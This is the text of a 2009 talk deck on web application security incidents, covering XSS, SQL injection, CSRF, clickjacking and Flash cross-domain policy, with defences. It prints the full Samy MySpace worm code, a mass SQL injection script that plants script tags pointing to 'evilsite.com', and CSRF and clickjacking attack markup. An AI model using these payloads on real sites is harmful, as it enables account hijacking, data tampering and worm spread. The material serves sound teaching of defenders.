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Web App SecurityHorror Stories
Simon Willison, 6th March 2009
Saturday, 7 March 2009
This talk is about learning from other people’s mistakes
Saturday, 7 March 2009
XSS(cross site scripting)
Saturday, 7 March 2009
Never let anyone inject their JavaScript
in to your page
Rule one:
Saturday, 7 March 2009
• Steal your users’ cookies and log in as them
• Embed malware and drive-by downloads
• Show a fake phishing login page on your site
• Perform any action as if I was your user
If you have an XSS hole, I can
Saturday, 7 March 2009
http://www.flickr.com/photos/tammets/2116105196/Saturday, 7 March 2009
<div id=mycode style="BACKGROUND: url('java script:eval(document.all.mycode.expr)')" expr="var B=String.fromCharCode(34);var A=String.fromCharCode(39);function g(){var C;try{var D=document.body.createTextRange();C=D.htmlText}catch(e){}if(C){return C}else{return eval('document.body.inne'+'rHTML')}}function getData(AU){M=getFromURL(AU,'friendID');L=getFromURL(AU,'Mytoken')} function getQueryParams(){var E=document.location.search;var F=E.substring(1,E.length).split('&');var AS=new Array();for(var O=0;O<F.length;O++){var I=F[O].split('=');AS[I[0]]=I[1]}return AS}var J;var AS=getQueryParams();var L=AS['Mytoken'];var M=AS['friendID'];if(location.hostname=='profile.myspace.com'){document.location='http://www.myspace.com'+location.pathname+location.search}else{if(!M){getData(g())}main()}function getClientFID(){return findIn(g(),'up_launchIC( '+A,A)}function nothing(){}function paramsToString(AV){var N=new String();var O=0;for(var P in AV){if(O>0){N+='&'}var Q=escape(AV[P]);while(Q.indexOf('+')!=-1){Q=Q.replace('+','%2B')}while(Q.indexOf('&')!=-1){Q=Q.replace('&','%26')}N+=P+'='+Q;O++}return N}function httpSend(BH,BI,BJ,BK){if(!J){return false}eval('J.onr'+'eadystatechange=BI');J.open(BJ,BH,true);if(BJ=='POST'){J.setRequestHeader('Content-Type','application/x-www-form-urlencoded');J.setRequestHeader('Content-Length',BK.length)}J.send(BK);return true}function findIn(BF,BB,BC){var R=BF.indexOf(BB)+BB.length;var S=BF.substring(R,R+1024);return S.substring(0,S.indexOf(BC))}function getHiddenParameter(BF,BG){return findIn(BF,'name='+B+BG+B+' value='+B,B)}function getFromURL(BF,BG){var T;if(BG=='Mytoken'){T=B}else{T='&'}var U=BG+'=';var V=BF.indexOf(U)+U.length;var W=BF.substring(V,V+1024);var X=W.indexOf(T);var Y=W.substring(0,X);return Y}function getXMLObj(){var Z=false;if(window.XMLHttpRequest){try{Z=new XMLHttpRequest()}catch(e){Z=false}}else if(window.ActiveXObject){try{Z=new ActiveXObject('Msxml2.XMLHTTP')}catch(e){try{Z=new ActiveXObject('Microsoft.XMLHTTP')}catch(e){Z=false}}}return Z}var AA=g();var AB=AA.indexOf('m'+'ycode');var AC=AA.substring(AB,AB+4096);var AD=AC.indexOf('D'+'IV');var AE=AC.substring(0,AD);var AF;if(AE){AE=AE.replace('jav'+'a',A+'jav'+'a');AE=AE.replace('exp'+'r)','exp'+'r)'+A);AF=' but most of all, samy is my hero. <d'+'iv id='+AE+'D'+'IV>'}var AG;function getHome(){if(J.readyState!=4){return}var AU=J.responseText;AG=findIn(AU,'P'+ 'rofileHeroes','</td>');AG=AG.substring(61,AG.length);if(AG.indexOf('samy')==-1){if(AF){AG+=AF;var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['interestLabel']=' heroes';AS['submit']='Preview'; AS['interest']=AG;J=getXMLObj();httpSend('/index.cfm?fuseaction=profile.previewInterests&Mytoken='+AR,postHero, 'POST',paramsToString(AS))}}}function postHero(){if(J.readyState!=4){return}var AU=J.responseText;var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['interestLabel']='heroes';AS['submit']='Submit'; AS['interest']=AG;AS['hash']=getHiddenParameter(AU,'hash');httpSend('/index.cfm?fuseaction=profile.processInterests&Mytoken='+AR,nothing, 'POST',paramsToString(AS))}function main(){var AN=getClientFID();var BH='/index.cfm?fuseaction=user.viewProfile&friendID='+AN+'&Mytoken='+L;J=getXMLObj();httpSend(BH,getHome,'GET'); xmlhttp2=getXMLObj();httpSend2('/index.cfm?fuseaction=invite.addfriend_verify&friendID=11851658&Mytoken='+L, processxForm,'GET')}function processxForm(){if(xmlhttp2.readyState!=4){return}var AU=xmlhttp2.responseText;var AQ=getHiddenParameter(AU,'hashcode');var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['hashcode']=AQ;AS['friendID']='11851658';AS['submit']='Add to Friends';httpSend2('/index.cfm??useaction=invite.addFriendsProcess&Mytoken='+AR,nothing, 'POST',paramsToString(AS))}function httpSend2(BH,BI,BJ,BK){if(!xmlhttp2){return false}eval('xmlhttp2.onr'+'eadystatechange=BI');xmlhttp2.open(BJ,BH,true);if(BJ=='POST'){xmlhttp2.setRequestHeader('Content-Type','application/x-www-form-urlencoded');xmlhttp2.setRequestHeader('Content-Length',BK.length)}xmlhttp2.send(BK);return true}"></DIV>
Saturday, 7 March 2009
samy is my herohttp://namb.la/popular/
Saturday, 7 March 2009
MySpace customisation was “kind of a mistake”
http://bit.ly/myspace-mistake
Saturday, 7 March 2009
A social network worm
• When you viewed Samy’s profile...
• JS makes you add him as a friend
• JS uses XMLHttpRequest to add his exploit to YOUR profile as well
Saturday, 7 March 2009
12:34 pm: You have 73 friendsI decided to release my little popularity program. I'm going to be famous... among my friends.
1:30 am: You have 73 friends and 1 friend requestOne of my friends' girlfriend looks at my profile. She's obviously checking me out. I approve her inadvertent friend request and go to bed grinning.
8:35 am: You have 74 friends and 221 friend requestsWoah. I did not expect this much. I'm surprised it even worked.. 200 people have been infected in 8 hours. That means I'll have 600 new friends added every day. Woah.
9:30 am: You have 74 friends and 480 friend requestsOh wait, it's exponential, isn't it. Shit.
4th October 2005
Saturday, 7 March 2009
12:34 pm: You have 73 friendsI decided to release my little popularity program. I'm going to be famous... among my friends.
1:30 am: You have 73 friends and 1 friend requestOne of my friends' girlfriend looks at my profile. She's obviously checking me out. I approve her inadvertent friend request and go to bed grinning.
8:35 am: You have 74 friends and 221 friend requestsWoah. I did not expect this much. I'm surprised it even worked.. 200 people have been infected in 8 hours. That means I'll have 600 new friends added every day. Woah.
9:30 am: You have 74 friends and 480 friend requestsOh wait, it's exponential, isn't it. Shit.
4th October 2005
Saturday, 7 March 2009
12:34 pm: You have 73 friendsI decided to release my little popularity program. I'm going to be famous... among my friends.
1:30 am: You have 73 friends and 1 friend requestOne of my friends' girlfriend looks at my profile. She's obviously checking me out. I approve her inadvertent friend request and go to bed grinning.
8:35 am: You have 74 friends and 221 friend requestsWoah. I did not expect this much. I'm surprised it even worked.. 200 people have been infected in 8 hours. That means I'll have 600 new friends added every day. Woah.
9:30 am: You have 74 friends and 480 friend requestsOh wait, it's exponential, isn't it. Shit.
4th October 2005
Saturday, 7 March 2009
12:34 pm: You have 73 friendsI decided to release my little popularity program. I'm going to be famous... among my friends.
1:30 am: You have 73 friends and 1 friend requestOne of my friends' girlfriend looks at my profile. She's obviously checking me out. I approve her inadvertent friend request and go to bed grinning.
8:35 am: You have 74 friends and 221 friend requestsWoah. I did not expect this much. I'm surprised it even worked.. 200 people have been infected in 8 hours. That means I'll have 600 new friends added every day. Woah.
9:30 am: You have 74 friends and 480 friend requestsOh wait, it's exponential, isn't it. Shit.
4th October 2005
Saturday, 7 March 2009
20 hours, 1,005,831 friend requests
(then MySpace crashed)
Saturday, 7 March 2009
Google’s UTF-7 hole
Saturday, 7 March 2009
The UTF-7 hole
• Google’s 404 pages didn't specify a charset
• IE inspected the first 4096 bytes to “guess” the encoding of the page
• UTF-7 XSS attacks slipped through Google's XSS filters but were executed by IE
http://shiflett.org/blog/2005/dec/googles-xss-vulnerability
Saturday, 7 March 2009
You can’t trust CSS either
• HTC in IE and XBL in Mozilla are both vectors for JavaScript attacks
• A “position: absolute” hack was used to steal 30,000 MySpace passwords last year
http://community.livejournal.com/lj_dev/708069.html
http://www.securiteam.com/securitynews/6O00M0AHFW.html
Saturday, 7 March 2009
SQL injection
Saturday, 7 March 2009
Inexcusable.Use paramaterised queries, or an ORM
Saturday, 7 March 2009
If you’re gluing SQL together using string
appends
Saturday, 7 March 2009
$sql = "select * from users where nick = '". mysql_real_escape_string($username) . "'";
Bad (even though it's secure):
$sql = build_query( "select * from users where nick = ?", $nick);
Good:
Saturday, 7 March 2009
Mass XSS via SQL injectionDECLARE @T varchar(255), @C varchar(255);DECLARE Table_Cursor CURSOR FORSELECT a.name, b.nameFROM sysobjects a, syscolumns bWHERE a.id = b.id AND a.xtype = 'u' AND (b.xtype = 99 OR b.xtype = 35 OR b.xtype = 231 OR b.xtype = 167);OPEN Table_Cursor;FETCH NEXT FROM Table_Cursor INTO @T, @C;WHILE (@@FETCH_STATUS = 0) BEGIN EXEC( 'update [' + @T + '] set [' + @C + '] = rtrim(convert(varchar,[' + @C + ']))+ ''<script src=http://evilsite.com/1.js></script>''' ); FETCH NEXT FROM Table_Cursor INTO @T, @C;END;CLOSE Table_Cursor;DEALLOCATE Table_Cursor;
http://hackademix.net/2008/04/26/mass-attack-faq/
Saturday, 7 March 2009
CSRF
Saturday, 7 March 2009
“We’ve found CSRF vulnerabilities in sites that have a
huge incentive to do security correctly. If you’re in charge of a website and haven’t specifically
protected against CSRF, chances are you’re vulnerable”
- Bill Zeller
Saturday, 7 March 2009
Ever see a link like this?
<a href="http://app.example.com/delete.php?id=1">Delete</a>
Saturday, 7 March 2009
Now what if I do this:
<img src="http://app.example.com/delete.php?id=1"><img src="http://app.example.com/delete.php?id=2"><img src="http://app.example.com/delete.php?id=3"><img src="http://app.example.com/delete.php?id=4"><img src="http://app.example.com/delete.php?id=5">
... and trick you in to visiting my site?
Saturday, 7 March 2009
POST will not save you<form action="http://app.example.com/delete.php" method="POST"> <input type="hidden" name="id" value="1"> <input type="submit" value="More kittens please!"></form>
http://www.flickr.com/photos/fofurasfelinas/9724483/Saturday, 7 March 2009
Or submit with JavaScript
<div style="display: none"><form action="http://app.example.com/delete.php" method="POST"> <input type="hidden" name="id" value="1"></form></div>
<script>document.forms[0].submit()</script>
Saturday, 7 March 2009
The Digg exploit
• A few years ago, Digg had no CSRF protection on their “digg this” button
• The result: self-digging pages!
http://ha.ckers.org/blog/20060615/a-story-that-diggs-itself/
Saturday, 7 March 2009
http://www.gnucitizen.org/blog/google-gmail-e-mail-hijack-technique/
The Gmail filter hack
Saturday, 7 March 2009
“We believe this is the first CSRF vulnerability to allow the transfer of funds
from a financial institution.”
http://www.freedom-to-tinker.com/blog/wzeller/ popular-websites-vulnerable-cross-site-request-forgery-attacks
Saturday, 7 March 2009
Preventing CSRF
• You need to distinguish between form interactions from your user on your site, and form interactions from your user on some other site
• Referrer checking is notoriously unreliable
• Solution: include a form token (Yahoo! calls this a “crumb”) proving that the post came from your site
Saturday, 7 March 2009
Crumbs<form action="http://app.example.com/delete.php" method="POST"> <input type="hidden" name="id" value="37"> <input type="hidden" name="crumb" value="856c2f50ddc49fd710f14a406ec1fef652d3c9f"> <input type="submit" value="Delete this item"></form>
Saturday, 7 March 2009
Protecting the crumb
• Your crumb is now the only thing protecting you from CSRF attacks
• This is why XSS is such a big deal
• With XSS, I can steal your crumb and run riot across your site
• XSS holes are automatically CSRF holes
Saturday, 7 March 2009
Login CSRF
Saturday, 7 March 2009
Use CSRF to force a user to sign in to an account you have created on a
trusted site
Saturday, 7 March 2009
... and wait for them to add private information,
such as their credit card details
Saturday, 7 March 2009
Clickjacking
Saturday, 7 March 2009
Saturday, 7 March 2009
iframe!
Saturday, 7 March 2009
Saturday, 7 March 2009
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Saturday, 7 March 2009
Saturday, 7 March 2009
Saturday, 7 March 2009
<style type="text/css">iframe { width: 400px; height: 200px; position: absolute; top: 10px; left: 10px; overflow: hidden; opacity: 0;}#decoy { ...}</style>
<iframe src="http://veryimportantapp.com/delete-account/"></iframe>
<p id="decoy">Click HERE for kittens!</p>
Saturday, 7 March 2009
Clickjacking protection
• Frame busting JavaScript
• <iframe security="restricted"> in IE
• "X-FRAME-OPTIONS: DENY" in IE 8
• The NoScript extension for Firefox
Saturday, 7 March 2009
Saturday, 7 March 2009
Saturday, 7 March 2009
Anti click-jacking
Saturday, 7 March 2009
Admin accesshorror stories
Saturday, 7 March 2009
Saturday, 7 March 2009
Saturday, 7 March 2009
Saturday, 7 March 2009
How did they do it?
They guessed the URLSaturday, 7 March 2009
The Twitter hack
• A bored teenager ran a brute force attack against a popular Twitter user
• "happiness" is a dictionary word
• She happened to be Twitter staff, with admin access
Saturday, 7 March 2009
Saturday, 7 March 2009
Keep admin accounts separate from regular
user accounts
Saturday, 7 March 2009
crossdomain.xml
Putting this at example.com/crossdomain.xml allows Flash applets on other sites to read your pages and steal your crumbs
Flash can even fake an X-Requested-With: XMLHttpRequest header
That’s why Flickr use api.flickr.com/crossdomain.xml instead
<cross-domain-policy> <allow-access-from domain="*" /> </cross-domain-policy>
Saturday, 7 March 2009
crossdomain.xml
<cross-domain-policy> <allow-access-from domain="*" /> </cross-domain-policy>
Putting this at example.com/crossdomain.xml allows Flash applets on other sites to read your pages and steal your crumbs
That’s why Flickr use api.flickr.com/crossdomain.xml instead
Saturday, 7 March 2009
YouTube/Gmail combo attack!
1. Attacker emails a special SWF to a Gmail account they control and locates the attachment download URL on google.com
2. Logged-in YouTube user visits an attacker controlled page
3. Attacker forces their victim to authenticate to the attackers Gmail account (using login CSRF)
4. Attacker embeds SWF from the Gmail account into the web page
5. Attacker now has read write access on YouTube.com as the victim’s account
http://jeremiahgrossman.blogspot.com/2008/09/i-used-to-know-what-you-watched-on.html
<allow-access-from domain="*.google.com" />
Saturday, 7 March 2009
No matter how hard you try, you can’t secure your site 100%
There’s always a chance a browser, plugin or compromised
client machine will screw everything up anyway
Saturday, 7 March 2009
... and 70% of users will give their password to a stranger in exchange for a bar of chocolate
http://news.bbc.co.uk/1/hi/technology/3639679.stm
Saturday, 7 March 2009
Thank you!
Saturday, 7 March 2009
http://simonwillison.net/tags/xss/
http://simonwillison.net/tags/csrf/
http://simonwillison.net/tags/logincsrf/
http://simonwillison.net/tags/security/
Title photo:
http://www.flickr.com/photos/jalex_photo/1680862003/
Saturday, 7 March 2009